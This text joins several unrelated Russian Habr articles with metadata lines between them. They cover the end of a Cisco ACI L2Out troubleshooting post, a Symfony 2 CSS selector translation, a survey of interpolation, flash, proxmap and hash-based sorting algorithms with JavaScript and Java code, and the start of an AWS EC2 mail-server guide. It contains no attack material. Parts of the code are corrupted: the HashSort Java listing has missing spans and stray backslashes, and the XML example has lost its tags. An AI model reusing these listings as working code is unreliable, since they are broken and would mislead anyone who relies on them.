Что-то явно пошло не так. Проверить, что проблема кроется в контракте, можно, отключив применение политик на уровне VRF (policy enforcement). Если контракт действительно ограничивает связность, ICMP пакеты должны успешно пройти, поскольку реализация контрактов отключена. Если связность не появилась, значит, ошибка закралась в настройки L2Out.
```
SW1# ping 192.168.0.2
PING 192.168.0.2 (192.168.0.2): 56 data bytes
64 bytes from 192.168.0.2: icmp_seq=0 ttl=254 time=1.713 ms
64 bytes from 192.168.0.2: icmp_seq=1 ttl=254 time=1.457 ms
64 bytes from 192.168.0.2: icmp_seq=2 ttl=254 time=1.397 ms
64 bytes from 192.168.0.2: icmp_seq=3 ttl=254 time=1.415 ms
64 bytes from 192.168.0.2: icmp_seq=4 ttl=254 time=1.548 ms
```
Теперь становится очевидно, что проблема в контракте. Однако в первом случае (EPG вместо L2Out) всё работало корректно, значит, фильтрация настроена правильно. В чём же подвох? Как обычно, дьявол кроется в деталях. Безусловно, фильтры контракта в полном порядке, как и применение его в EPG. Сейчас мне кажется, что в такой конструкции остаётся лишь одно место, где можно допустить ошибку; однако на тот момент у меня ушло несколько часов на её поиск, после чего я стал перебирать все возможные настройки в рамках tenant, пытаясь выяснить, что именно блокирует ICMP между SW1 и SW2. Забавно и то, что количество зарегистрированных ошибок было равно нулю, т.е. противоречий в объектной модели не было.
Помните область действия контракта? Мы установили её как *“Application Profile”*, но к какому AP можно отнести L2Out? К сожалению, у меня нет ответа на этой вопрос; впрочем, возникает ощущение, что для L2Out такая область действия контакта неестественна, поэтому изменим её на более широкую, например, на *“VRF”*, и проверим связность:
```
SW1# ping 192.168.0.2
PING 192.168.0.2 (192.168.0.2): 56 data bytes
64 bytes from 192.168.0.2: icmp_seq=0 ttl=254 time=1.807 ms
64 bytes from 192.168.0.2: icmp_seq=1 ttl=254 time=1.528 ms
64 bytes from 192.168.0.2: icmp_seq=2 ttl=254 time=1.412 ms
64 bytes from 192.168.0.2: icmp_seq=3 ttl=254 time=1.446 ms
64 bytes from 192.168.0.2: icmp_seq=4 ttl=254 time=1.391 ms
```
Итак, мы добились связности через L2Out. Проще ли это, чем настроить EPG? Скорее нет, чем да: потребовались дополнительные действия (дополнительный домен, ассоциация EPG с доменом), которые привели к менее гибкой конструкции (только один VLAN в рамках одного L2Out). Поиск документации по L2Out также оказался непростым квестом, информацию пришлось собирать по разным блогам и форумам. Впрочем, есть и положительный результат: я наткнулся на [любопытную книгу](https://learningnetwork.cisco.com/s/article/troubleshooting-cisco-application-centric-infrastructure-aci-free-book-download), которая может пригодиться при отладке ACI.
А что насчёт L3Out, спросите вы? Как нетрудно догадаться, для него характерно то же поведение, что и для L2Out: ограничение области действия контакта до *”Application profile”* проявляется в отсутствии связности внешних хостов с теми, что подключены непосредственно к ACI.
Спасибо за рецензию: **Анастасии Куралёвой.** | https://habr.com/ru/post/585724/ | null | ru | null |
# Парсинг (разбор) XML документов с помощью CSS селекторов
Привет. Заметил что постов посвященных [Symfony 2.0](http://symfony-reloaded.org/) все еще не много. Постараюсь это исправить в ближайшее время топиками и переводами про компоненты фреймворка. Сейчас же представляю вашему вниманию перевод статьи с блога [Фабьена (Fabien Potencier)](http://fabien.potencier.org/) который всегда интересно читать. Перевод, возможно не всегда дословный, но смысл я старался передавать четко. Итак начнем.
— HTML и XML документы это как хлеб и масло для веб-разработчиков. День за днем вы, скорее всего, создаете множество HTML документов. И наверняка вам приходится парсить некоторые из них время от времени: потому что вы используете веб службы и хотите извлечь некоторую информацию, или потому, что вы хотите получить данные с нужных веб страниц, или просто потому, что хотите написать функциональные тесты для веб сайта. Получить содержимое достаточно просто, но как его разобрать, чтобы выделить нужную информацию?
PHP уже поставляется с большим количеством инструментов для парсинга XML документов: например, SimpleXML, DOM и XMLReader. Но как только вам нужно извлечь информацию глубоко зашитую в структуру документа, все не так легко, как и должно быть. Конечно же, XPath ваш лучший друг если вам нужно выбрать элементы, но кривая изучения очень крутая. Даже выражения, которые должны быть простыми, оказываются громоздкими. Для примера, вот XPath выражение для нахождения всех тегов h1 с классом «foo»:
> `h1[contains(concat(' ', normalize-space(@class), ' '), ' foo ')]`
Выражение получилось сложным, так как у тега может быть несколько классов:
> `<h1 class="foo">Fooh1>
>
> <h1 class="foo bar">Fooh1>
>
> <h1 class="foobar bar">Fooh1>`
Выражение должно выбирать первые два тега h1, но не третий.
Конечно же, все знают что сделать то же на css проще простого:
> `h1.foo`
Для функциональных тестов в [Symfony 2](http://symfony-reloaded.org/), я искал путь увеличения мощи и выразительности CSS селекторов при помощи средств, которые уже есть в PHP. Первая идея которая пришла мне на ум, это конвертировать CSS селектор в его XPath эквивалент. Но возможно ли это? Ответ скорее «Да».
John Resig написал в своем [посте](http://ejohn.org/blog/xpath-css-selectors/) почти на ту же тему: «Самое главное понять, что CSS селекторы, часто, очень коротки, но крайне неэффективны по сравнению с XPath».
Написание «токенайзера», парсера, и компоновщика, способного преобразовывать CSS селекторы в XPath эквиваленты — не тривиальная задача. Поэтому, вместо изобретения колеса, я просмотрел существующие библиотеки. Уже очень скоро я наткнулся на lxml, библиотеку Python. Модуль [lxml.cssselect](http://codespeak.net/lxml/cssselect.html) библиотеки lxml делает то что нужно. Поэтому я потратил время на трансляцию кода с Python на язык PHP, добавил некоторые модульные тесты, и вуаля — родился [компонент CSS селекторов для Symfony 2](http://github.com/fabpot/symfony/tree/master/src/Symfony/Components/CssSelector/).
Для справки: в symfony 1 есть класс sfDomCssSelector, но он не конвертирует CSS селекторы в XPath. Он делает роботу хорошо, но ограничен очень простыми CSS селекторами и не может быть использован совместно со стандартными XML инструментами.
Компонент Symfony 2 CSS Selector делает только одну вещь, и пытается делать ее хорошо: *конвертировать CSS селекторы в выражения XPath*. Его использование очень простое:
> `use Symfony\Components\CssSelector\Parser;
>
>
>
> $xpath = Parser::cssToXpath('h1.foo');`
Теперь переменная $xpath содержит «h1[contains(concat(' ', normalize-space(@class), ' '), ' foo ')]».
Давайте приведем пример, как вы можете использовать компонент. Допустим вы хотите получить все названия постов и URL-ы моего блога (информация доступна по адресу [fabien.potencier.org/articles](http://fabien.potencier.org/articles)).
> `use Symfony\Components\CssSelector\Parser;
>
>
>
> $document = new \DOMDocument();
>
> $document->loadHTMLFile('http://fabien.potencier.org/articles');
>
>
>
> $xpath = new \DOMXPath($document);
>
> foreach ($xpath->query(Parser::cssToXpath('div.item > h4 > a')) as $node)
>
> {
>
> printf("%s (%s)\n", $node->nodeValue, $node->getAttribute('href'));
>
> }`
Код очень простой, и вместо использования выражения XPath, мы позволим классу парсера преобразовать для нас CSS селекторы в выражение XPath.
> `$xpath->query(Parser::cssToXpath('div.item > h4 > a'))`
Помните, что если вы работаете с XML документами, вам нужно объявить используемые пространства имен. Давайте используем SimpleXMLElement, который понимает только правильно сформированные XML документы:
> `$document = new \SimpleXMLElement('http://fabien.potencier.org/articles', 0, true);
>
> $document->registerXPathNamespace('xhtml', 'http://www.w3.org/1999/xhtml');
>
> foreach ($document->xpath(Parser::cssToXpath('xhtml|div.item > xhtml|h4 > xhtml|a')) as $node)
>
> {
>
> printf("%s (%s)\n", $node, $node['href']);
>
> }`
Как вы могли заметить, CSS селекторы поддерживают пространства имен (xhtml|div).
Этот новый CSS Selector компонент будет использоваться в Symfony 2 для функциональных тестов (но как вы увидите в ближайшие несколько недель, совсем иначе чем было с symfony 1).
Код компонента модульно протестирован с неплохим тестовым покрытием кода (code coverage), поэтому будьте свободны в [его использовании](http://github.com/fabpot/symfony/tree/master/src/Symfony/Components/CssSelector/) (код есть на Github: [github.com/fabpot/symfony](http://github.com/fabpot/symfony) в пространстве имен [Symfony\Components\CssSelector](http://github.com/fabpot/symfony/tree/master/src/Symfony/Components/CssSelector/)) и оставляйте отзывы. | https://habr.com/ru/post/90664/ | null | ru | null |
# Подсчёт с приблизительным распределением — чаще всего переизобретаемая сортировка
[](https://habr.com/ru/company/edison/blog/478654/)
Количество более-менее отличающихся друг от друга сортировок гарантированно более сотни. Среди них есть подгруппы алгоритмов, минимально отличающиеся друг от друга, совпадая в какой-то общей главной идее. Фактически в разные годы разными людьми придумываются заново одни и те же сортировки, различающиеся в не слишком принципиальных деталях.
Чаще прочих встречается вот такая алгоритмическая идея.
Каждый элемент заносится *примерно в то место* массива, где он должен находиться. Получается *почти упорядоченный* массив. К которому или применяется сортировка вставками (она самая эффективная для обработки почти упорядоченных массивов) или локальные неупорядоченные области обрабатываются рекурсивно этим же алгоритмом.
> [](https://www.edsd.ru/ "EDISON Software - web-development")
>
> Статья написана при поддержке компании EDISON, разрабатывающая широкий спектр решений для разнообразных задач: от [программ для онлайн-примерки одежды мультибрендовых магазинов](https://www.edsd.ru/virtualnaya-primerochnaya) до [светодиодной системы передачи между речными и морскими судами](https://www.edsd.ru/peredacha-dannyh-s-pomoshhyu-svetodioda).
>
>
>
> Мы очень любим теорию алгоритмов! ;-)
Чтобы оценить, примерно куда нужно поставить элемент, нужно выяснить, насколько он отличается от среднестатистического элемента массива. Для этого нужно знать значения минимального и максимального элементов, ну и размер массива.
Предполагается, что в сортируемом массиве действительно случайные данные. Все изобретатели данного метода приходят к одной и той же формуле:
**k** — приблизительное место в массиве, где должен находиться элемент **A**(**i**)
**min**, **max** — значения минимального и максимального элементов в массиве **A**
**Size** — количество элементов в массиве **A**
Вот такая вот общая идея. Давайте поглядим, в каких вариациях этот алгоритм рождался снова и снова.
Сортировка царя Соломона :: Solomon sort
----------------------------------------
Этот способ (и его красивое название) [предложил](https://habr.com/ru/post/208088/) хабрапользователь [V2008n](https://habr.com/ru/users/v2008n/) лет 5 назад. Всему своё время, «время разбрасывать камни и время собирать камни» (слова царя Соломона из книги Екклесиаста) — а в алгоритме, собственно так и происходит. Сначала с помощью формулы раскидываем элементы по нужным местам массива. Поскольку формула даёт не точное, а примерное место, то на некоторые позиции претендуют сразу несколько элементов, близких к друг другу по значению. Эти локальные группы элементов сортируются вставками и затем собираются в окончательном порядке.
Сортировка интерполяцией :: Interpolation sort
----------------------------------------------
«Нет ничего нового под солнцем», если вновь процитировать того же автора. В Википедии описана сортировка интерполяцией, подозрительно напоминающая соломонову сортировку. Каждая «кучка камней» — это небольшой дополнительный динамический массив, где находятся близкие по значению элементы. Главное отличие — после «разбрасывания камней» эти локальные неотсортированные группы элементов сортируются не вставками, а самой же сортировкой интерполяцией (рекурсивно или в цикле).
Упорядоченный массив представляет из себя дискретный набор данных, который можно рассматривать как конечное множество известных значений некой неизвестной функции. Собственно, приблизительное распределение с точки зрения вычислительной математики — это интерполяция и есть.
**Сортировка интерполяцией на JavaScript - циклическая версия**
```
Array.prototype.interpolationSort = function() {
var divideSize = new Array();
var end = this.length;
divideSize[0] = end;
while(divideSize.length > 0) {divide(this);}
function divide(A) {
var size = divideSize.pop();
var start = end - size;
var min = A[start];
var max = A[start];
var temp = 0;
for(var i = start + 1; i < end; i++) {
if(A[i] < min) {
min = A[i];
} else {
if(A[i] > max) {max = A[i];}
}
}
if(min == max) {
end = end - size;
} else {
var p = 0;
var bucket = new Array(size);
for(var i = 0; i < size; i++) {bucket[i] = new Array();}
for(var i = start; i < end; i++) {
p = Math.floor(((A[i] - min) / (max - min)) * (size - 1));
bucket[p].push(A[i]);
}
for(var i = 0; i < size; i++) {
if(bucket[i].length > 0) {
for(var j = 0; j < bucket[i].length; j++) {A[start++] = bucket[i][j];}
divideSize.push(bucket[i].length);
}
}
}
}
};
```
**Сортировка интерполяцией на JavaScript - рекурсивная версия**
```
Array.prototype.bucketSort = function() {
var start = 0;
var size = this.length;
var min = this[0];
var max = this[0];
for(var i = 1; i < size; i++) {
if (this[i] < min) {
min = this[i];
} else {
if(this[i] > max) {max = this[i];}
}
}
if(min != max) {
var bucket = new Array(size);
for(var i = 0; i < size; i++) {bucket[i] = new Array();}
var interpolation = 0;
for(var i = 0; i < size; i++){
interpolation = Math.floor(((this[i] - min) / (max - min)) * (size - 1));
bucket[interpolation].push(this[i]);
}
for(var i = 0; i < size; i++) {
if(bucket[i].length > 1) {bucket[i].bucketSort();} //Recursion
for(var j = 0; j < bucket[i].length; j++) {this[start++] = bucket[i][j];}
}
}
};
```
### Гистограммная сортировка :: Histogram sort
Это оптимизация сортировки интерполяцией, в которой подсчитывается количество элементов, принадлежащих к локальным неотсортированным группам. Этот подсчёт позволяет вставлять неотсортированные предметы непосредственно в итоговый массив (вместо группирования по отдельным небольшим массивам).
**Гистограмная сортировка на JavaScript**
```
Array.prototype.histogramSort = function() {
var end = this.length;
var sortedArray = new Array(end);
var interpolation = new Array(end);
var hitCount = new Array(end);
var divideSize = new Array();
divideSize[0] = end;
while(divideSize.length > 0) {distribute(this);}
function distribute(A) {
var size = divideSize.pop();
var start = end - size;
var min = A[start];
var max = A[start];
for(var i = start + 1; i < end; i++) {
if (A[i] < min) {
min = A[i];
} else {
if (A[i] > max) {max = A[i];}
}
}
if (min == max) {
end = end - size;
} else {
for(var i = start; i < end; i++){hitCount[i] = 0;}
for(var i = start; i < end; i++) {
interpolation[i] = start + Math.floor(((A[i] - min) / (max - min)) * (size - 1));
hitCount[interpolation[i]]++;
}
for(var i = start; i < end; i++) {
if(hitCount[i] > 0){divideSize.push(hitCount[i]);}
}
hitCount[end - 1] = end - hitCount[end - 1];
for(var i = end - 1; i > start; i--) {
hitCount[i - 1] = hitCount[i] - hitCount[i - 1];
}
for(var i = start; i < end; i++) {
sortedArray[hitCount[interpolation[i]]] = A[i];
hitCount[interpolation[i]]++;
}
for(var i = start; i < end; i++) {A[i] = sortedArray[i];}
}
}
};
```
### Сортировка интерполяцией с метками :: Interpolation tag sort
Чтобы ещё больше оптимизировать накладные расходы, тут предлагается запоминать не количество близких по значению элементов в неотсортированных группах, а просто помечать флажками True/False начало этих групп. True означает что подгруппа уже отсортирована, а False — что ещё нет.
**Сортировка интерполяцией с метками на JavaScript**
```
Array.prototype.InterpolaionTagSort = function() {
var end = this.length;
if(end > 1) {
var start = 0 ;
var Tag = new Array(end); //Algorithm step-1
for(var i = 0; i < end; i++) {Tag[i] = false;}
Divide(this);
}
//Algorithm step-2
while(end > 1) {
while(Tag[--start] == false){} //Find the next bucket's start
Divide(this);
}
function Divide(A) {
var min = A[start];
var max = A[start];
for(var i = start + 1; i < end; i++) {
if(A[i] < min) {
min = A[i];
} else {
if(A[i] > max ) {max = A[i];}
}
}
if(min == max) {
end = start;
} else {
//Algorithm step-3 Start to be the next bucket's end
var interpolation = 0;
var size = end - start;
var Bucket = new Array(size);//Algorithm step-4
for(var i = 0; i < size; i++) {Bucket[i] = new Array();}
for(var i = start; i < end; i++) {
interpolation = Math.floor(((A[i] - min) / (max - min)) * (size - 1));
Bucket[interpolation].push(A[i]);
}
for(var i = 0; i < size; i++) {
if(Bucket[i].length > 0) {//Algorithm step-5
Tag[start] = true;
for(var j = 0; j < Bucket[i].length; j++) {A[start++] = Bucket[i][j];}
}
}
}
}//Algorithm step-6
};
```
### Сортировка интерполяцией с метками (на месте) :: Interpolation tag sort (in-place)
Если значения элементов в массиве не повторяются и равномерно распределены (грубо говоря — если данные в отсортированном виде представляют из себя что-то вроде арифметической прогрессии), то можно отсортировать в один проход, сортируя прямо на месте, не перемещая элементы в промежуточные массивы.
**Сортировка интерполяцией с метками (на месте) на JavaScript**
```
Array.prototype.InPlaceTagSort = function() {
var n = this.length;
var Tag = new Array(n);
for(i = 0; i < n; i++) {Tag[i] = false;}
var min = this[0];
var max = this[0];
for(i = 1; i < n; i++) {
if(this[i] < min) {
min = this[i];
} else {
if(this[i] > max) {max = this[i];}
}
}
var p = 0;
var temp = 0;
for(i = 0; i < n; i++) {
while(Tag[i] == false) {
p = Math.floor(((this[i] - min) / (max - min)) * (n - 1));
temp = this[i];
this[i] = this[p];
this[p] = temp;
Tag[p] = true;
}
}
};
```
Флеш-сортировка :: Flashsort
----------------------------
Давным-давно я уже [писал](https://habr.com/ru/post/195968/) про сортировку, которую придумал профессор биофизики Нойберт в 1998 году.
Профессор предложил распределить элементы по нескольким отдельным классам (принадлежность к классу определяется размером элемента). С учётом этого формула выглядит так:
Вместо Size (размер массива) в формуле указано **m** — количество классов, по которым распределяем элементы массива. Формула вычисляет не ключ в массиве, куда надо перебросить элемент, а номер класса, к которому элемент относится.
Эта сортировка неплоха тем, что более экономно относится к дополнительной памяти. Перераспределение элементов происходит на месте. Отдельно хранятся только локализации классов (ну, если посмотреть под другим ракурсом — отдельно хранятся количества элементов, принадлежащих к тому или иному классу).
Ну, а в остальном, — та же самая песня.
**Flash-сортировка на Java**
```
/**
* FlashSort.java - integer version
* Translation of Karl-Dietrich Neubert's algorithm into Java by
* Rosanne Zhang
*/
class FlashSort {
static int n;
static int m;
static int[] a;
static int[] l;
/* constructor
@param size of the array to be sorted */
public static void flashSort(int size) {
n = size;
generateRandomArray();
long start = System.currentTimeMillis();
partialFlashSort();
long mid = System.currentTimeMillis();
insertionSort();
long end = System.currentTimeMillis();
// print the time result
System.out.println("Partial flash sort time : " + (mid - start));
System.out.println("Straight insertion sort time: " + (end - mid));
}
/* Entry point */
public static void main(String[] args) {
int size = 0;
if (args.length == 0) {
usage();
System.exit(1);
}
try {
size = Integer.parseInt(args[0]);
}
catch (NumberFormatException nfe) {
usage();
System.exit(1);
}
FlashSort.flashSort(size);
}
/* Print usage */
private static void usage() {
System.out.println();
System.out.println("Usage: java FlashSort n ");
System.out.println(" n is size of array to sort");
}
/* Generate the random array */
private static void generateRandomArray() {
a = new int[n];
for(int i=0; i < n; i++) {
a[i] = (int)(Math.random() * 5 * n);
}
m = n / 20;
l = new int[m];
}
/* Partial flash sort */
private static void partialFlashSort() {
int i = 0, j = 0, k = 0;
int anmin = a[0];
int nmax = 0;
for(i=1; i < n; i++) {
if (a[i] < anmin) anmin=a[i];
if (a[i] > a[nmax]) nmax=i;
}
if(anmin == a[nmax]) return;
double c1 = ((double)m - 1) / (a[nmax] - anmin);
for(i=0; i < n; i++) {
k= (int) (c1 * (a[i] - anmin));
l[k]++;
}
for(k=1; k < m; k++) {
l[k] += l[k - 1];
}
int hold = a[nmax];
a[nmax] = a[0];
a[0] = hold;
int nmove = 0;
int flash;
j = 0;
k = m - 1;
while(nmove < n - 1) {
while(j > (l[k] - 1)) {
j++;
k = (int) (c1 * (a[j] - anmin));
}
flash = a[j];
while(!(j == l[k])) {
k = (int) (c1 * (flash - anmin));
hold = a[l[k] - 1];
a[l[k] - 1] = flash;
flash = hold;
l[k]--;
nmove++;
}
}
}
/* Straight insertion sort */
private static void insertionSort() {
int i, j, hold;
for(i = a.length - 3; i >= 0; i--) {
if(a[i + 1] < a[i]) {
hold = a[i];
j = i;
while (a[j + 1] < hold) {
a[j] = a[j + 1];
j++;
}
a[j] = hold;
}
}
}
/* For checking sorting result and the distribution */
private static void printArray(int[] ary) {
for(int i=0; i < ary.length; i++) {
if((i + 1) % 10 ==0) {
System.out.println(ary[i]);
} else {
System.out.print(ary[i] + " ");
}
System.out.println();
}
}
}
```
Сортировка аппроксимацией :: Proxmap sort
-----------------------------------------
Эта сортировка самая древняя из здесь упоминаемых, её в 1980 году представил профессор Томас Стендиш из Университета Калифорнии. С виду она вроде существенно отличается, однако если присмотреться, всё то же самое.
Алгоритм оперирует таким понятием как **хит** — некое число, близкое по значению к некоторым элементом массива.
Чтобы определить, относится ли элемент массива к хиту, к элементу применяется **апроксимирующая функция**.
У профессора Стендиша сортировались массивы, состоящие из вещественных чисел. Апроксимирующей функцией являлось округление вещественных чисел в меньшую сторону до целого числа.
То есть, к примеру, если в массиве есть элементы 2.8, 2, 2.1, 2.6 и т.п. то хитом именно для этих чисел будет двойка.
Общий порядок действий:
1. Применяем аппроксимирующую функцию к каждому элементу, определяя, какому хиту соответствует очередной элемент.
2. Таким образом для каждого хита можем подсчитать количество элементов, соответствующих данному хиту.
3. Зная количества элементов для всех хитов, определяем локализации хитов (границы слева) в массиве.
4. Зная локализации хитов, определяем локализацию каждого элемента.
5. Определив локализацию элемента, пытаемся вставить его на своё место в массиве. Если место уже занято, то или сдвигаем соседей вправо (если элемент меньше их), чтобы освободить место для элемента. Или правее вставляем сам элемент (если он больше соседей).
В качестве аппроксимирующей функции можно назначить какую угодно, исходя из общего характера данных в массиве. В современных реализациях этой сортировки хиты обычно определяются не путём откусывания дробной части, а с помощью нашей любимой формулы.
**Сортировка аппроксимацией на JavaScript**
```
Array.prototype.ProxmapSort = function() {
var start = 0;
var end = this.length;
var A2 = new Array(end);
var MapKey = new Array(end);
var hitCount = new Array(end);
for(var i = start; i < end; i++) {hitCount[i] = 0;}
var min = this[start];
var max = this[start];
for (var i = start+1; i < end; i++){
if (this[i] < min) {
min = this[i];
} else {
if(this[i] > max) {max = this[i];}
}
}
//Optimization 1.Save the MapKey[i].
for (var i = start; i < end; i++) {
MapKey[i] = Math.floor(((this[i] - min ) / (max - min)) * (end - 1));
hitCount[MapKey[i]]++;
}
//Optimization 2.ProxMaps store in the hitCount.
hitCount[end-1] = end - hitCount[end - 1];
for(var i = end-1; i > start; i--){
hitCount[i-1] = hitCount[i] - hitCount[i - 1];
}
//insert A[i]=this[i] to A2 correct position
var insertIndex = 0;
var insertStart = 0;
for(var i = start; i < end; i++){
insertIndex = hitCount[MapKey[i]];
insertStart = insertIndex;
while(A2[insertIndex] != null) {insertIndex++;}
while(insertIndex > insertStart && this[i] < A2[insertIndex - 1]) {
A2[insertIndex] = A2[insertIndex - 1];
insertIndex--;
}
A2[insertIndex] = this[i];
}
for(var i = start; i < end; i++) {this[i] = A2[i];}
};
```
Сортировка вставкой в хеш-таблицу :: Hash sort
----------------------------------------------
Ну и закончим наш обзор алгоритмом, который [предложил](https://habr.com/ru/post/203032/) хабраюзер [bobbyKdas](https://habr.com/ru/users/bobbykdas/) 6 лет тому. Это гибридный алгоритм, в который помимо распределения и вставок добавлено также слияние.
1. Массив рекурсивно делится пополам, пока на каком-то шаге размеры половинок-подмассивов не достигнут минимального размера (у автора это не более 500 элементов).
2. На самом нижнем уровне рекурсии к каждой половинке-подмассиву применяется знакомый алгоритм — с помощью всё той же формулы внутри подмассива происходит приблизительное распределение, с сортировкой вставками локальных неотсортированных участков.
3. После упорядочивания двух половинок-подмассивов происходит их слияние.
4. Пункт 3 (слияние отсортированных половинок-подмассивов) повторяется при подъёме по уровням рекурсии до самого верха, когда из двух половинок объединяется исходный массив.
**Сортировка вставкой в хеш-таблицу на Java**
```
import java.util.Arrays;
import java.util.Date;
import java.util.Random;
public class HashSort {
//Размер массива исходных данных
static int SOURCELEN = 1000000;
int source[] = new int[SOURCELEN];
//Копия исходных данных для сравнения с быстрой сортировкой
int quick[] = new int[SOURCELEN];
//Размер блока для хэширующей сортировки
static int SORTBLOCK = 500;
static int k = 3;
//Временный массив
static int TMPLEN = (SOURCELEN < SORTBLOCK * k) ? SORTBLOCK * k : SOURCELEN;
int tmp[] = new int[TMPLEN];
//Диапазон значений исходных данных
static int MIN_VAL = 10;
static int MAX_VAL = 1000000;
int minValue = 0;
int maxValue = 0;
double hashKoef = 0;
//Заполнение массива исходных данных случайными значениями
public void randomize() {
int i;
Random rnd = new Random();
for(i=0; i maxValue) {
maxValue = source[i];
}
if( source[i] < minValue) {
minValue = source[i];
}
}
hashKoef = ((double)(k-1)\*0.9)\*((double)(endIndex-startIndex)/((double)maxValue-(double)minValue));
}
//Склеивание (иначе говоря - слияние) двух смежных отсортированных частей массива
public void stickParts(int startIndex, int mediana, int endIndex) {
int i=startIndex;
int j=mediana+1;
int k=0;
//Пока есть элементы в обоих подмассивах - производим их слияние
while(i<=mediana && j<=endIndex) {
if(source[i]mediana ) {
while(j<=endIndex) {
tmp[k] = source[j];
j++;
k++;
}
}
//Если в правом остались элементы - переносим в конец общего подмассива
if(j>endIndex) {
while(i<=mediana) {
tmp[k] = source[i];
i++;
k++;
}
}
System.arraycopy(tmp, 0, source, startIndex, endIndex-startIndex+1);
}
//Сдвиг вправо во временном массиве для разрешения коллизий
//Передвигаем несколько подряд стоящих элементов чтобы слева осовободить ячейку
boolean shiftRight(int index) {
int endpos = index;
while( tmp[endpos] != 0) {
endpos++;
if(endpos == TMPLEN) return false;
}
while(endpos != index ) {
tmp[endpos] = tmp[endpos-1];
endpos--;
}
tmp[endpos] = 0;
return true;
}
//Хэш-функция для сортировки хэшированием
public int hash(int value) {
return (int)(((double)value - (double)minValue)\*hashKoef);
}
//Вставка значений во временный массив с разрешением коллизий
public void insertValue(int index, int value) {
int \_index = index;
//Если место занято, то ищем правее
//двигаемся пока заняты ячейки и вставляемый элемент больше тех что уже в хеш-массиве
while(tmp[\_index] != 0 && tmp[\_index] <= value) { \_index++; }
//Если всё ещё занято и дошли до элемента, который больше вставляемого
if( tmp[\_index] != 0) {
shiftRight(\_index);//Сдвигаем подряд идущие бОльшие элементы вправо
}
tmp[\_index] = value;//Место свободно - вставляем элемент
}
//Копирование отсортированных данных из временного массива в исходный
public void extract(int startIndex, int endIndex) {
int j=startIndex;
for(int i=0; i<(SORTBLOCK\*k); i++) {
if(tmp[i] != 0) {
source[j] = tmp[i];
j++;
}
}
}
//Очистка временного массива
public void clearTMP() {
if( tmp.length < SORTBLOCK\*k) {
Arrays.fill(tmp, 0);
} else {
Arrays.fill(tmp, 0, SORTBLOCK\*k, 0);
}
}
//Хэширующая сортировка
public void hashingSort(int startIndex, int endIndex) {
//1. Поиск минимального и максимального значения с вычислением хэширующего коэффициента
findMinMax(startIndex, endIndex);
//2. Очистка временного массива
clearTMP();
//3. Вставка во временный массив с использованием хэш-функции
for(int i=startIndex; i<=endIndex; i++) {
insertValue(hash(source[i]), source[i]);
}
//4. Перемещение отсортированных данных из временного массива в исходный
extract(startIndex, endIndex);
}
//Рекурсивный спуск с дихотомией до уровня блока хэширующей сортировки
public void sortPart(int startIndex, int endIndex) {
//Если размер подмассива меньше 500, то непосредственно хэш-сортируем
if((endIndex - startIndex) <= SORTBLOCK ) {
hashingSort(startIndex, endIndex);
return;
}
//Если размер > 500 то делим пополам и рекурсия к каждой половинке
int mediana = startIndex + (endIndex - startIndex) / 2;
sortPart(startIndex, mediana);//Рекурсия к левой половинке
sortPart(mediana+1, endIndex);//Рекурсия к правой половинке
stickParts(startIndex, mediana, endIndex);//Половинки рекурсивно отсортированы - склеиваем их
}
//Сортируем весь массив как максимально возможный подмассив
public void sort() {
sortPart(0, SOURCELEN-1);
}
public static void main(String[] args) {
HashSort hs = new HashSort();
hs.randomize();
hs.sort();
}
}
```
Сама формула здесь называется хеш-функцией, а вспомогательный массив для приблизительного распределения — хеш-таблицей.
Ссылки
------
 [Interpolation & Histogram](https://en.wikipedia.org/wiki/Interpolation_sort), [Flash](https://en.wikipedia.org/wiki/Flashsort), [Proxmap](https://en.wikipedia.org/wiki/Proxmap_sort)
 [Соломон](https://habr.com/ru/post/208088/), [Хеш-таблица](https://habr.com/ru/post/203032/), [Флеш](https://habr.com/ru/post/195968/)
### Статьи серии:
* [Excel-приложение AlgoLab.xlsm](https://habr.com/post/414447/)
* [Сортировки обменами](https://habr.com/post/414653/)
* [Сортировки вставками](https://habr.com/post/415935/)
* [Сортировки выбором](https://habr.com/post/422085/)
* [Сортировки слиянием](https://habr.com/ru/post/431964/)
* [Сортировки распределением](https://habr.com/ru/post/472466/)
+ **Подсчётные сортировки с приблизительным распределением**
+ [Сортировка «Американский флаг»](https://habr.com/ru/post/481304/)
+ Суффиксное дерево в поразрядных сортировках
+ Сравнение сортировок распределением
* [Гибридные сортировки](https://habr.com/ru/post/483786/)
В Excel-приложение AlgoLab появилась сортировка аппроксимацией (при этом в начальном неотсортированном массиве к целым числам дописывается рандомная дробная часть). Соломон и Флеш там уже давно, а вот интерполяцию, хеш и гистограмму пока не реализовал. | https://habr.com/ru/post/478654/ | null | ru | null |
# Почтовый сервер быстрого приготовления на t2.micro с EC2 под управлением CentOS 7
Работа из учетной записи администратора, root оставьте для расчетов и проверки состояния счета, последнее рекомендую делать почаще, так как оплата производится за количество использованных ресурсов. Услуги Amazon, задействованые в данном хауту — в рамках бесплатного аккаунта, если вы самостоятельно не нажмете еще на какую-нибудь кнопочку в панели управления Amazon.
#### Ингредиенты
* Основные:
1. Учетная запись [Amazon Web Services](http://aws.amazon.com/ru/) с правами AdministratorAccess (**не** root).
2. LAMP.
3. Postfix + Policyd + Amavisd + SpamAssassin + ClamAV.
4. Dovecot + Roundcude (плагины: filesystem\_attachments, jqueryui, managesieve, password).
5. iRedAdmin.
* Сопутствующие:
1. [Домен](http://www.freenom.com/en/index.html).
2. Учетная запись [ClouDNS](http://www.cloudns.net/aff/id/94096/).
#### Инструменты
1. [PuTTY](http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html).
2. [PuTTYgen](http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html).
3. [FileZilla Client](http://filezilla.ru/get/).
4. [Mozilla Thunderbird](https://mozilla-russia.org/products/thunderbird/).
#### Условные обозначения
* => Следующее действие.
* Цитата — Ответ в интерпретаторе.
* domain.tk — **Заменить на ваш домен!**
* 5.175.174.8 — **Заменить на ваш Elastic IP!**
* Next — Next: Configure Instance Details.
#### Способ приготовления
* В панели управления Amazon создаем инстанс, раздел для хранения почтовых данных, Elastic IP, политику безопасности:
Открываем EC2: **Instances** => кнопка Launch Instance => AWS Marketplace => CentOS 7 (x86\_64) with Updates HVM => оставляем как есть (t2.micro) => Next => запишите себе Network по умолчанию (например: 172.31.0.0/16) => выберите Subnet (например: 172.31.32.0/20) => отметьте Protect against accidental termination => Next => Next => Key: EC2 => Value: mailServer => Next => Select an existing security group (default) => Review and Launch => Launch => Выберите: Create a new key pair => Key pair name: EC2t2micro-mS => Download Key Pair => Сохраните в надежное место => отметьте чекбокс => Launch Instance => кнопка View Instances
